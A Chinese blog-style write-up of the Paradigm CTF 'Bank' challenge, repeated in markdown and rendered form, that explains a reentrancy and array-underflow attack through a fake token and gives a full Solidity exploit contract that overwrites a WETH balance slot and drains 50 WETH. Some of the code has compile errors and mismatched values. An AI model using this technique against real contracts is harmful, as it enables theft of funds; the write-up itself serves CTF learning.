Paradigm CTF-银行

该题是大神Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun大神。

# Paradigm CTF-银行 基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/ ## 题目: ![image20210626153642083.png](https://img.learnblockchain.cn/attachments/2021/06/BddYhCKs60d7d7939e679.png) 该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目分析: 这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD) 简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。 | 函数签名 | 备注 | | :---------------------------------------------------------: | ------------------------------------------------------------ | | `depositToken(uint accountId, address token, uint amount)` | //如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入 | | `withdrawToken(uint accountId, address token, uint amount)` | //检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币 | | `setAccountName(uint accountId, string name)` | //设置帐户的显示名称 | | `closeLastAccount()` | //确保用户有帐户//确保最后一个帐户为空//关闭帐户 | | `getAccountInfo(uint accountId)` | //获取有关帐户的信息 | | `getAccountBalance(uint accountId, address token)` | //获取TOKEN的余额 | | `transferOwnership(address newOwner)` | //将所有权转移到新地址 | | `acceptOwnership()` | //接受所有权转让 | 该合约另一个奇怪的点是他的数据结构: 给定了一个`map`,`map`里面是以`address`为`key`,以`Accounts`动态数组作为值。`Accounts`动态数组里存放的是结构体`Account`,该结构体包含一个`string`, 一个`uint,`和一个`map`。这个`accounts` 的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的`Token`的种类数量,以及每种`Token`的对应的余额。 ```js struct Account { string accountName; uint uniqueTokens; mapping(address => uint) balances; } mapping(address => Account[]) accounts; ``` ## 题目解析: ### 特点: 拿到题目时,先整体分析下这个合约。最明显的两个特点是: - `deposit, withdraw`等函数都没有防止重进入的措施 - 没有`nonReentry`修饰符 - 存在数组越界情况 - `accounts[msg.sender].length--;` 如果此时的`accounts[msg.sender].length == 0`,则会使得`accounts[msg.sender].length`下溢出 - `account.uniqueTokens--;` - `account.balances[token] -= amount;` ### 思路: 那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用`withdraw`函数取出合约中所有的WETH到我的账户上。:+1: #### 重进入: 既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。 ```mermaid sequenceDiagram ContractA->>funcA: 合约A调用方法A funcA ->> ContractB_funcB: 方法A调用合约B中的方法B opt 重进入 ContractB_funcB ->> funcA: 重进入 funcA ->> ContractB_funcB: 方法A调用合约B中的方法B end alt 结束调用 ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C end ``` 注意重进入与顺序执行的区别。重进入可以理解为发生递归。 ```js function inSequence() { contractA.funcA() contractB.funcB() contractA.funcA() contractB.funcB() } ``` 这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。 #### 重进入的目标: 我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即: `accounts[msg.sender].length == uint(-1)` 要达成这个目标,我们需要`withdrawToken`函数在执行如下代码段的时候,满足如下三个条件: 1. `accounts[msg.sender].length==0` 2. `account.uniqueTokens == 1` 3. `account.balances[token] == 0` ```js func_withdrawToken: if (account.balances[token] == 0) { account.uniqueTokens--; if (account.uniqueTokens == 0 && accountId == lastAccount) { accounts[msg.sender].length--; } } ``` 分析`withdarwToken`函数发现,唯有如下两个函数涉及到外部合约的调用: `ERC20Like(token).balanceOf(msg.sender)` `ERC20Like(token).transferFrom(msg.sender, address(this), amount)` 如果我们在`ERC20Like(token).balanceOf(msg.sender)`中调用`closeLastAccount()`函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于`withdrawToken`中要求`account.uniqueTokens == 1`, 而 `closeLastAccount`中要求 `accounts[msg.sender][lastAccount].uniqueTokens == 0`.此刻两个要求相冲突,必然会导致revert. ```js function closeLastAccount() external { // make sure the user has an account require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts"); // make sure the last account is empty uint lastAccount = accounts[msg.sender].length - 1; require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty"); // close the account accounts[msg.sender].length--; } ``` 此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变: | 函数名 | 重进入位点 | 要求 | 状态改变 | | ------------------ | ------------- | --------------------------------------------- | -------------------------------------------------- | | `withdrawToken` | `balanceOf_1` | len > 0balance >= amount | | | | `balanceOf_2` | balance == 0uniqueTokens == 1len==0 | uniqueTokens--len--(accountId == lastAccount) | | `closeLastAccount` | NA | len > 0uniqueTokens == 0 | len-- | | `depositToken` | `balanceOf_1` | len >= 0amount >= 0 | len++(accountId == len) | | | `balanceOf_2` | oldBalance==0 | uniqueTokens++ | 再来考虑我们的目标: `accounts[msg.sender].length == uint(-1)` 要实现该目标,我们的目标状态为:`uniqueTokens = 0, len = uint(-1)` | 函数名 | 重进入位点 | 需要的状态 | | ------------------ | ------------- | ------------------ | | `withdrawToken` | `balanceOf_2` | uT = 1len = 0 | | `depositToken` | `balanceOf_2` | uT = 0len = 0 | | `closeLastAccount` | NA | uT = 0len = 1 | | `depositToken` | `balanceOf_1` | uT = 0len = 0 | | `closeLastAccount` | NA | uT = 0len = 1 | | `withdrawToken` | `balanceOf_1` | uT = 0len = 1 | 整理成调用栈结构为: ```js withdrawToken => balanceOf_1 => closeLastAccount depositToken balanceOf_1 => closeLastAccount balanceOf_2 balanceOf_2 ``` 现在的问题是我们想要在最开始调用`withdarwToken`函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让`withdrawToken`中的`accountId != lastAccount`,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。 | `depositToken(0,token,0)` | [1] | | -------------------------- | ----- | | `depositToken(1,token,0)` | [1,1] | | `withdrawToken(0,token,0)` | [0,1] | | `withdrawToken(1,token,0)` | [0] | ```js pragma solidity >=0.4.22; import './Bank.sol'; contract HackBank is ERC20like { uint reentry; address bank; constructor(address _bank) { bank = _bank; } function transfer(address dst, uint qty) public returns (bool){ return true; } function transferFrom(address src, address dst, uint qty) public returns (bool){ return true; } function approve(address, uint) public returns (bool){ return true; } function balanceOf(address who) public returns (uint){ // withdrawToken 1 [0, 1] // closeAcc [0, 0] // depositToken 1 [0, 1] // closeAcc [0, 0] // depositToken 2 [1, 0] // withdrawToken 2 [0, -1] if (reentry == 1) { reentry = 0; Bank(bank).closeLastAccount(); reentry = 2; Bank(bank).depositToken(0, address(this), 0); } else if (reentry == 2) { Bank(bank).closeLastAccount(); reentry = 0; } return 0; } function hack_underflow() public { // make it [0] Bank(bank).depositToken(0,address(this),0); //[1] Bank(bank).depositToken(1, address(this), 0); //[1, 1] Bank(bank).withdrawToken(0, address(this), 0); // [0, 1] Bank(bank).withdrawToken(1, address(this), 0); // [0] reentry = 1; Bank(bank).withdrawToken(0, address(this), 0); } function withdraw_WETH() public { bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02)); bytes memory acc_key = keccak256(base_key); uint accountId; uint delta; for (accountId = 0; true ; accountId += 1) { bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2)) delta = uint(-1) - uint(acc_key) + uint(target) + 1; if (delta % 3 == 0) { break; } } accountId = delta / 3; value = string(abi.encodePacked(bytes31(uint248(uint(-1))))); Bank(bank).setAccountName(accountId, value); Bank(bank).withdrawToken(accountId, WETH, 50 ether); } function exploit() public { hack_underflow(); withdraw_WETH(); } } ``` #### 利用下溢出的数组写值 通过重进入,我们成功的将`accounts[msg.sender].length == uint(-1)`,根据思路,我们可以利用`setAccountName(uint accountId, string name)`函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。 首先我们看下函数:`setAccountName(uint accountId, string name)` ```js function setAccountName(uint accountId, string name) external { require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account"); accounts[msg.sender][accountId].accountName = name; } ``` 简单来讲就是把一个字符串写入到`accounts[msg.sender][accountId].accountName`中。我们的目标是`accounts[msg.sender][accountId].balances[WETH]==uint(-1)`,则这里我们需要找到一个accountId, 使得如下等式成立: ```js key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH]) 等式左侧: key(accounts[msg.sender][accountId].accountName) = { base_key = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key = keccak(base_key) + 3 * accountId accountName_key = acc_key + 0x00 } 等式右侧: key(accounts[msg.sender][accountId].balances[WETH]) = { base_key2 = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key2 = keccak(base_key2) + 3 * accountId balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) } 则: keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02)) => accountId * 3 = WETH_BALANCE_KEY - BASE_KEY //此处为了避免出现负值,加个uint(-1) + 1 => accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1 要求该accountId的值必须正好是整除3,不能有余数,即 if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) { break; } accountId++; ``` 找到对应的accountId后,需要给其赋值,使得`accounts[msg.sender][accountId].balances[WETH]=uint(-1)`,那么这个值应该怎么给呢? ##### 这就涉及到`string`数据如何存储在storage中: 字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节**(左对齐)**中,低阶字节存储`len*2`。对于存储长度为32或更多字节的数据的字节数组,主插槽存储`len*2+1`,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。 比如如下的函数: ```js function test(uint accountId) public { accounts[msg.sender].length++; Account storage account = accounts[msg.sender][accountId]; account.accountName = "Tester"; account.uniqueTokens = 1; account.balances[address(this)] = uint(-1); } ``` `Tester`会首先编码成`546573746572`(`Tester.encode().hex()=546573746572`),其长度为0x06,长度的2倍为`0x0c` 则在内存中其存储的值为:`0x546573746572000000000000000000000000000000000000000000000000000c` 在本题目中,我们希望储存的值为:`0xffffffffffffffffffffffffffffffffffffffffffffffffffff`共31位,则实际写入内存的值为:`0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e`, 则我们可以利用如下的python代码得到decode后的字符串 也可以存储一个足够大的值,只要大于50 ether就行。比如`5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a`,则对应储存的值为`0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e` ```python string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a" byte_array = bytearray.fromhex(string) byte_array.decode() => 'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ' ``` 整理一下: ```js function withdraw_WETH() public { bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02)); bytes memory acc_key = keccak256(base_key); uint accountId; uint delta; for (accountId = 0; true ; accountId += 1) { bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2)) delta = uint(-1) - uint(acc_key) + uint(target) + 1; if (delta % 3 == 0) { break; } } accountId = delta / 3; //value = string(abi.encodePacked(bytes31(uint248(uint(-1))))); string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"; Bank(bank).setAccountName(accountId, value); Bank(bank).withdrawToken(accountId, WETH, 50 ether); } function exploit() public { hack_underflow(); withdraw_WETH(); } ```

Paradigm CTF-银行

基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/

题目:

Paradigm CTF-银行插图

该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目分析:

这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD)

简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。

函数签名 备注
depositToken(uint accountId, address token, uint amount) //如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入
withdrawToken(uint accountId, address token, uint amount) //检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币
setAccountName(uint accountId, string name) //设置帐户的显示名称
closeLastAccount() //确保用户有帐户//确保最后一个帐户为空//关闭帐户
getAccountInfo(uint accountId) //获取有关帐户的信息
getAccountBalance(uint accountId, address token) //获取TOKEN的余额
transferOwnership(address newOwner) //将所有权转移到新地址
acceptOwnership() //接受所有权转让

该合约另一个奇怪的点是他的数据结构:

给定了一个mapmap里面是以addresskey,以Accounts动态数组作为值。Accounts动态数组里存放的是结构体Account,该结构体包含一个string, 一个uint,和一个map。这个accounts 的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的Token的种类数量,以及每种Token的对应的余额。

struct Account {
        string accountName;
        uint uniqueTokens;
        mapping(address => uint) balances;
    }
mapping(address => Account[]) accounts;

题目解析:

特点:

拿到题目时,先整体分析下这个合约。最明显的两个特点是:

  • deposit, withdraw等函数都没有防止重进入的措施
    • 没有nonReentry修饰符
  • 存在数组越界情况
    • accounts[msg.sender].length--; 如果此时的accounts[msg.sender].length == 0,则会使得accounts[msg.sender].length下溢出
    • account.uniqueTokens--;
    • account.balances[token] -= amount;

思路:

那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用withdraw函数取出合约中所有的WETH到我的账户上。:+1:

重进入:

既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。

sequenceDiagram
    ContractA->>funcA: 合约A调用方法A
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    opt 重进入
    ContractB_funcB ->> funcA: 重进入
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    end
    alt 结束调用
    ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C
    end

注意重进入与顺序执行的区别。重进入可以理解为发生递归。

function inSequence() {
    contractA.funcA()
    contractB.funcB()
    contractA.funcA()
    contractB.funcB()    
}

这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。

重进入的目标:

我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即:

accounts[msg.sender].length == uint(-1)

要达成这个目标,我们需要withdrawToken函数在执行如下代码段的时候,满足如下三个条件:

  1. accounts[msg.sender].length==0
  2. account.uniqueTokens == 1
  3. account.balances[token] == 0
func_withdrawToken:
if (account.balances[token] == 0) {
    account.uniqueTokens--;
    if (account.uniqueTokens == 0 && accountId == lastAccount) {
                    accounts[msg.sender].length--;
    }
}

分析withdarwToken函数发现,唯有如下两个函数涉及到外部合约的调用:

ERC20Like(token).balanceOf(msg.sender)

ERC20Like(token).transferFrom(msg.sender, address(this), amount)

如果我们在ERC20Like(token).balanceOf(msg.sender)中调用closeLastAccount()函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于withdrawToken中要求account.uniqueTokens == 1, 而 closeLastAccount中要求 accounts[msg.sender][lastAccount].uniqueTokens == 0.此刻两个要求相冲突,必然会导致revert.

function closeLastAccount() external {
    // make sure the user has an account
    require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");

    // make sure the last account is empty
    uint lastAccount = accounts[msg.sender].length - 1;
    require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");

    // close the account
    accounts[msg.sender].length--;
}

此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变:

函数名 重进入位点 要求 状态改变
withdrawToken balanceOf_1 len > 0balance >= amount
balanceOf_2 balance == 0uniqueTokens == 1len==0 uniqueTokens--len--(accountId == lastAccount)
closeLastAccount NA len > 0uniqueTokens == 0 len--
depositToken balanceOf_1 len >= 0amount >= 0 len++(accountId == len)
balanceOf_2 oldBalance==0 uniqueTokens++

再来考虑我们的目标:

accounts[msg.sender].length == uint(-1)

要实现该目标,我们的目标状态为:uniqueTokens = 0, len = uint(-1)

函数名 重进入位点 需要的状态
withdrawToken balanceOf_2 uT = 1len = 0
depositToken balanceOf_2 uT = 0len = 0
closeLastAccount NA uT = 0len = 1
depositToken balanceOf_1 uT = 0len = 0
closeLastAccount NA uT = 0len = 1
withdrawToken balanceOf_1 uT = 0len = 1

整理成调用栈结构为:

withdrawToken =>
    balanceOf_1 =>
        closeLastAccount
        depositToken
            balanceOf_1 =>
                closeLastAccount
            balanceOf_2
    balanceOf_2

现在的问题是我们想要在最开始调用withdarwToken函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让withdrawToken中的accountId != lastAccount,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。

depositToken(0,token,0) [1]
depositToken(1,token,0) [1,1]
withdrawToken(0,token,0) [0,1]
withdrawToken(1,token,0) [0]
pragma solidity >=0.4.22;

import './Bank.sol';

contract HackBank is ERC20like {
    uint reentry;
    address bank;
    constructor(address _bank) {
        bank = _bank;
    }
    function transfer(address dst, uint qty) public returns (bool){
        return true;
    }
    function transferFrom(address src, address dst, uint qty) public returns (bool){
        return true;
    }
    function approve(address, uint) public returns (bool){
        return true;
    }
    function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;

    }
    function hack_underflow() public {
        // make it [0]
        Bank(bank).depositToken(0,address(this),0); //[1]
        Bank(bank).depositToken(1, address(this), 0); //[1, 1]
        Bank(bank).withdrawToken(0, address(this), 0); // [0, 1]
        Bank(bank).withdrawToken(1, address(this), 0); // [0]
        reentry = 1;
        Bank(bank).withdrawToken(0, address(this), 0);

    }
    function withdraw_WETH() public {
        bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
        bytes memory acc_key = keccak256(base_key);
        uint accountId;
        uint delta;
        for (accountId = 0; true ; accountId += 1) {
            bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
            delta = uint(-1) - uint(acc_key) + uint(target) + 1;
            if (delta % 3 == 0) {
                break;
            }
        }
        accountId = delta / 3;
        value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
        Bank(bank).setAccountName(accountId, value);
        Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
    }
    function exploit() public {
        hack_underflow();
        withdraw_WETH();
    }
}

利用下溢出的数组写值

通过重进入,我们成功的将accounts[msg.sender].length == uint(-1),根据思路,我们可以利用setAccountName(uint accountId, string name)函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。

首先我们看下函数:setAccountName(uint accountId, string name)

function setAccountName(uint accountId, string name) external {
    require(accountId &lt; accounts[msg.sender].length, "setAccountName/invalid-account");

    accounts[msg.sender][accountId].accountName = name;
}

简单来讲就是把一个字符串写入到accounts[msg.sender][accountId].accountName中。我们的目标是accounts[msg.sender][accountId].balances[WETH]==uint(-1),则这里我们需要找到一个accountId, 使得如下等式成立:

key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH])
等式左侧:
key(accounts[msg.sender][accountId].accountName) = 
{
    base_key = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key = keccak(base_key) + 3 * accountId
    accountName_key = acc_key + 0x00 
}
等式右侧:
key(accounts[msg.sender][accountId].balances[WETH]) = 
{
    base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key2 = keccak(base_key2) + 3 * accountId
    balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02))
}
则:
keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02))
=>
accountId * 3 = WETH_BALANCE_KEY - BASE_KEY
//此处为了避免出现负值,加个uint(-1) + 1
=>
accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1
要求该accountId的值必须正好是整除3,不能有余数,即
if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) {
    break;
}
accountId++;

找到对应的accountId后,需要给其赋值,使得accounts[msg.sender][accountId].balances[WETH]=uint(-1),那么这个值应该怎么给呢?

这就涉及到string数据如何存储在storage中:

字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节(左对齐)中,低阶字节存储len*2。对于存储长度为32或更多字节的数据的字节数组,主插槽存储len*2+1,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。

比如如下的函数:

function test(uint accountId) public {
    accounts[msg.sender].length++;
    Account storage account = accounts[msg.sender][accountId];
    account.accountName = "Tester";
    account.uniqueTokens = 1;
    account.balances[address(this)] = uint(-1);
}

Tester会首先编码成546573746572(Tester.encode().hex()=546573746572),其长度为0x06,长度的2倍为0x0c 则在内存中其存储的值为:0x546573746572000000000000000000000000000000000000000000000000000c

在本题目中,我们希望储存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff共31位,则实际写入内存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e, 则我们可以利用如下的python代码得到decode后的字符串

也可以存储一个足够大的值,只要大于50 ether就行。比如5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a,则对应储存的值为0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e

string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a"
byte_array = bytearray.fromhex(string)
byte_array.decode()
=>
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'

整理一下:

function withdraw_WETH() public {
    bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
    bytes memory acc_key = keccak256(base_key);
    uint accountId;
    uint delta;
    for (accountId = 0; true ; accountId += 1) {
        bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
        delta = uint(-1) - uint(acc_key) + uint(target) + 1;
        if (delta % 3 == 0) {
            break;
        }
    }
    accountId = delta / 3;
    //value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
    string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ";
    Bank(bank).setAccountName(accountId, value);
    Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
}
function exploit() public {
    hack_underflow();
    withdraw_WETH();
}

区块链技术网。

  • 发表于 2021-06-26 20:48
  • 阅读 ( 604 )
  • 学分 ( 53 )
  • 分类:智能合约

评论